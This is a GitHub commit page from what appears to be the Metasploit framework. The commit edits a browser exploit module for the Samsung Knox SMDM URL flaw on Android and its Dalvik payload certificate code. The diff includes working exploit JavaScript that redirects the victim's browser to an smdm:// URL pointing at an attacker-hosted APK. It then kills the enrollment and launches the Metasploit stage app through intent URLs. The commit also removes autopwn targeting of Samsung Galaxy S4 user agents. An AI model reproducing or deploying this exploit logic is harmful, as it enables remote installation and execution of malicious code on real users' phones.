Skip to content

Commit 2a24151

Browse files
committed
Remove BAP target, payload is flaky. Add warning.
1 parent 105a28d commit 2a24151

File tree

2 files changed

+6
-24
lines changed

2 files changed

+6
-24
lines changed

lib/msf/core/payload/dalvik.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,8 @@ def generate_cert
6060
# with a key whose validity expires before that date.
6161
# """
6262
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
63+
64+
# If this line is left out, signature verification fails on OSX.
6365
cert.sign(key, OpenSSL::Digest::SHA1.new)
6466

6567
return cert, key

modules/exploits/android/browser/samsung_knox_smdm_url.rb

Lines changed: 4 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -9,23 +9,6 @@
99
class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::Remote::BrowserExploitServer
12-
include Msf::Exploit::Remote::BrowserAutopwn
13-
14-
autopwn_info(
15-
:os_name => OperatingSystems::Match::ANDROID,
16-
:arch => ARCH_ARMLE,
17-
:javascript => true,
18-
:rank => ExcellentRanking,
19-
20-
# For BAP we only allow whitelisted devices/firmwares
21-
# that we have tested:
22-
# - Samsung S4
23-
:vuln_test => %Q|
24-
is_vuln = navigator.userAgent.match(
25-
/SAMSUNG GT-I9505/
26-
);
27-
|
28-
)
2912

3013
# Hash that maps payload ID -> (0|1) if an HTTP request has
3114
# been made to download a payload of that ID
@@ -56,6 +39,7 @@ def initialize(info = {})
5639
'Targets' => [ [ 'Automatic', {} ] ],
5740
'DisclosureDate' => 'Nov 12 2014',
5841
'DefaultTarget' => 0,
42+
5943
'BrowserRequirements' => {
6044
:source => 'script',
6145
:os_name => OperatingSystems::Match::ANDROID
@@ -150,18 +134,18 @@ def exploit_js
150134
151135
function enroll() {
152136
var loc = window.location.href.replace(/[/.]$/g, '');
153-
window.location = 'smdm://#{rand_word}?update_url='+
137+
top.location = 'smdm://#{rand_word}?update_url='+
154138
encodeURIComponent(loc)+'/#{payload_id}.apk';
155139
}
156140
157141
function killEnrollment() {
158-
window.location = "intent://#{rand_word}?program="+
142+
top.location = "intent://#{rand_word}?program="+
159143
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
160144
setTimeout(launchApp, 300);
161145
}
162146
163147
function launchApp() {
164-
window.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
148+
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
165149
}
166150
167151
enroll();
@@ -170,10 +154,6 @@ def exploit_js
170154
|
171155
end
172156

173-
def apk_url
174-
"#{get_uri.chomp('/')}/#{rand_word}.apk"
175-
end
176-
177157
def rand_word
178158
Rex::Text.rand_text_alphanumeric(3+rand(12))
179159
end

0 commit comments

Comments
 (0)